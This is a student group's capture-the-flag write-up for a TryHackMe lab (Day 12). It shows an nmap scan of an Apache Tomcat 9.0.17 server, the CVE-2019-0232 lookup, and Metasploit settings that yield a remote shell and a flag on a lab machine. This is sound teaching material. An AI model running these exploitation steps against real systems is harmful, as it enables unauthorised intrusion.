

# PSP0201

## Week 4

## Writeup

Group Name: Undecided

Members

ID	Name	Role
1211101390	Aslamia Najwa Binti Ahmad Khadri	Leader
1211100431	Mohammad Omar Torofder	Member
1211103388	Vishnu Karmegam	Member
1211103092	Farryn Aisha Binti Muhd Firdaus	Member

## Day 12: Networking – Ready, set, elf

**Tools used:** Kali Linux and Firefox

**Solution/walkthrough:**

### Question 1

We needed to find the info using nmap to find information like hosts, services, ports, and all other information as shown in the picture. Code used: nmap -sVC machine\_IP. Under http-title, we found our web server version number.



```
Found color:#525D76;} p {font-family:font-size:12px;} a {color:black;} a.name {color:black;} .line {
1px;background-color:#525D76;border:none;}</style></head><body><h
|_http-favicon: Apache Tomcat
|_http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Apache Tomcat/9.0.17
1 service unrecognized despite returning data. If you know the service/ve
please submit the following fingerprint at https://nmap.org/cgi-bin/submi
```

### Question 2

We were asked for CVE number. From the website called exploit-db.com, we searched for the vulnerability of Apache Tomcat version 9.0.17 and found the CVE number of the vulnerability.

### Apache Tomcat - CGIServlet enableCmdLineArguments Remote Code Execution (Metasploit)

<b>EDB-ID:</b> 47073	<b>CVE:</b> 2019-0232	<b>Author:</b> METASPLOIT	<b>Type:</b> REMOTE	<b>Platform:</b> WINDOWS	<b>Date:</b> 2019-07-03
<b>EDB Verified:</b> ✓		<b>Exploit:</b> 📄 / {}		<b>Vulnerable App:</b>	



### Question 3

In this question we are asked to find the flag and what's written in it. We used port 8080 and we know the information that we needed was located in /cgi-bin/elfwhacker.bat.

```
10.10.220.115:8080/cgi-bin/elfwhacker.
TryHackMe | Learn Cy... TryHackMe Support Offline CyberChef GitHub

Written by ElfMcEager for The Best Festival Company ~CMNatic

Current time: 02/07/2022 11:31:42.73

Debugging Information
Hostname: TBFC-WEB-01
User: tbfc-web-01\elfmcskidy

ELF WHACK COUNTER

Number of Elves whacked and sent back to work: 15277
```

Using the msfconsole command, we use the search command with the CVE number that we obtained. We enter use command with 0 to exploit the vulnerability of that CVE. Then, we set the Metasploit settings with our IP address as the value for LHOST and the remote PC IP address as value for RHOSTS. We also set the TARGETURI value with the location of the script. Then, we use the run command.

```
root@ip-10-10-108-76: ~
File Edit View Search Terminal Help
dir
Volume in drive C has no label.
Volume Serial Number is 4277-4242

Directory of c:\Program Files\Apache Software Foundation\Tomcat 9.0
19/11/2020 04:46 <DIR> .
19/11/2020 04:46 <DIR> ..
19/11/2020 04:46 <DIR> bin
19/11/2020 04:46 <DIR> conf
19/11/2020 04:46 <DIR> lib
13/03/2019 16:56 58,153 LICENSE
02/07/2022 10:51 <DIR> logs
13/03/2019 16:56 2,401 NOTICE
13/03/2019 16:56 7,027 RELEASE-NOTES
19/11/2020 22:16 <DIR> temp
13/03/2019 16:56 21,630 tomcat.ico
13/03/2019 16:57 80,496 Uninstall.exe
19/11/2020 04:46 <DIR> webapps
19/11/2020 04:46 <DIR> work
5 File(s) 169,707 bytes
9 Dir(s) 8,599,711,744 bytes free

c:\Program Files\Apache Software Foundation\Tomcat 9.0>cd webapps
```

We dropped into a shell. Then, we found a text file named 'flag1.txt' under the cgi-bin directory. We displayed the file content and found our flag which is thm{whacking\_all\_the\_elves}.

```
c:\Program Files\Apache Software Foundation\Tomcat 9.0\webapps\ROOT\WEB-INF\cgi-
bin>type flag1.txt
type flag1.txt
thm{whacking_all_the_elves}
c:\Program Files\Apache Software Foundation\Tomcat 9.0\webapps\ROOT\WEB-INF\cgi-
bin>
```

#### Question 4

After reading the instructions, we knew that the Metasploit settings that we had to set are LHOST and RHOST.

In order for the attack used as the example in this task to work, the options would be set like so:

- **LHOST** - 10.0.0.10 (our PC)
- **RHOST** - 10.0.0.1 (the remote PC)
- **TARGETURI** /cgi-bin/systeminfo.sh (the location of the script)

```
msf5 exploit(multi/http/apache_mod_cgi_bash_env_exec) > set LHOST 10.0.0.10
LHOST => 10.0.0.10
msf5 exploit(multi/http/apache_mod_cgi_bash_env_exec) > set RHOSTS 10.0.0.1
RHOSTS => 10.0.0.1
msf5 exploit(multi/http/apache_mod_cgi_bash_env_exec) > set TARGETURI http://10.0.0.1/cgi-bin/systeminfo.sh
TARGETURI => http://10.0.0.1/cgi-bin/systeminfo.sh
msf5 exploit(multi/http/apache_mod_cgi_bash_env_exec) > █
```

*Please note that these options are for the exploit used as an example, you will have to set these values accordingly for the challenge.*

### Thought Process/Methodology:

First, we did the nmap scan to find the information like ports, services and Apache version etc. For the vulnerability, we searched from the website named exploit-db, and there we got the CVE number. After that, with the port that we have obtained from the nmap scan, we looked for information that we needed which was located under /cgi-bin/elfwhacker.bat. Using msfconsole command, Using the msfconsole command, we use the search command with the CVE number that we obtained. We enter use command with 0 to exploit the vulnerability of that CVE. Then, we set the Metasploit settings with our IP address as the value for LHOST and the remote PC IP address as value for RHOSTS. We also set the TARGETURI value with the location of the script. Then, we use the run command. We dropped into a shell. Then, we found a text file named 'flag1.txt' under the cgi-bin directory. We displayed the file content and found our flag which is thm{whacking\_all\_the\_elves}.